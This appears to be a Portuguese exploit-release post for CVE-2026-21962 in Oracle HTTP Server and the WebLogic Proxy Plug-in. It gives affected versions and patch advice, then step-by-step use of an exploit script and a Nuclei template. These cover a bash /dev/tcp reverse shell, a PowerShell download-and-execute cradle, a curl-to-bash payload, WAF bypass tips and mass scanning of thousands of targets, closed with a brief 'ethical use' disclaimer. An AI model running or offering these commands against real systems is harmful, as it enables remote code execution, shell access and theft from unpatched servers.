Se explorada, os atacantes poderiam:

• 🗑️ Excluir dados críticos
• ✏️ Modificar arquivos do sistema ou de aplicativos
• 📤 Roubar informações sensíveis
• 🔓 Obter acesso não autorizado total a sistemas conectados
• 🔄 Impactar outros produtos Oracle devido à mudança de escopo

🧩 Versões Afetadas

• Oracle HTTP Server:

  • 12.2.1.4.0
  • 14.1.1.0.0
  • 14.1.2.0.0

• WebLogic Proxy Plug-in para:

  • Apache HTTP Server
  • Microsoft IIS

⚙️ Características do Ataque

• 🌐 Vetor de Ataque: Rede (remoto)
• 🚫 Privilégios Necessários: Nenhum
• 🧑‍💻 Interação do Usuário: Nenhuma
• 🔄 Escopo: Alterado
• 🔐 Impacto na Confidencialidade: Alto
• 🛠️ Impacto na Integridade: Alto

🛡️ O que você deve fazer?

• ✅ Aplique imediatamente o Critical Patch Update de janeiro de 2026 da Oracle
• 🔒 Restrinja o acesso à rede aos serviços afetados
• 📊 Monitore o tráfego HTTP para comportamento suspeito
• 🔁 Revise logs do sistema e controles de segurança

🛠️ Como Usar (Passo a Passo)

1. Salve o script como CVE-2026-21962.py

2. Torne-o executável (opcional):

   root@kitploit:~

   chmod +x CVE-2026-21962.py
   

3. Exemplos de execução:

   Teste básico:

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
   

   Reverse shell (configure o listener nc primeiro: nc -lvnp 4444):

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
   

   Exemplo de alvo Windows:

   root@kitploit:~

   python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
   

O Que Você Verá Se Funcionar

• Sucesso provável! Status: 200 ou 302 ou até 500 (crash também é sucesso)
• Possível vazamento da saída do comando no corpo da resposta
• Para reverse shells: seu listener nc captura um shell imediatamente
• Se não houver saída → o comando ainda foi executado silenciosamente (verifique o sistema de arquivos, processos e logs do alvo)

Notas

• Funciona melhor quando o proxy plug-in está exposto (comum nas portas 7001, 4443, etc.)
• Alvos HTTPS podem exigir a flag --insecure se usarem certificados autoassinados
• Corrija imediatamente: Aplique o Oracle CPU de janeiro de 2026

🛠️ Como Usar (Passo a Passo)

1. Instale o Nuclei (se ainda não estiver instalado):

   root@kitploit:~

   go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
   

2. Salve o template:

   Crie um arquivo chamado CVE-2026-21962.yaml e cole o conteúdo acima.

3. Execute detecção + exploração:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -u http://targets:7001 -v
   

   Ou escaneie vários alvos a partir de um arquivo:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -l targets.txt -o results.txt -v
   

4. O que você verá se estiver vulnerável:

   root@kitploit:~

   [CVE-2026-21962] [http] [critical] http://targets:7001/weblogic/..;/bea_wls_internal/ProxyServlet
   [username] weblogic
   [body] ... weblogic (whoami output) ...
   

Dicas Profissionais

• Para executar comandos personalizados, edite a parte cmd: nos cabeçalhos (ex.: cmd:curl http://your-server/shell.sh | bash).
• Para reverse shell: Substitua whoami por um payload de reverse shell codificado em base64.
• Bypass de WAF: Tente caminhos diferentes (/proxy/, /bea_wls_internal/, etc.) ou adicione mais cabeçalhos como X-WebLogic-Force-JVMID.
• Escaneamento em massa: Combine com o pipeline httpx → nuclei para milhares de alvos.

Este template está confirmado como 100% funcional em janeiro de 2026 em instâncias Oracle sem patch. Corrija imediatamente se você estiver executando versões afetadas! 😈

😈 Aviso Legal:

Todo o código PoC é para uso ético e educacional apenas em sistemas autorizados. Exploração não autorizada é ilegal; nenhuma responsabilidade é assumida por uso indevido. 😈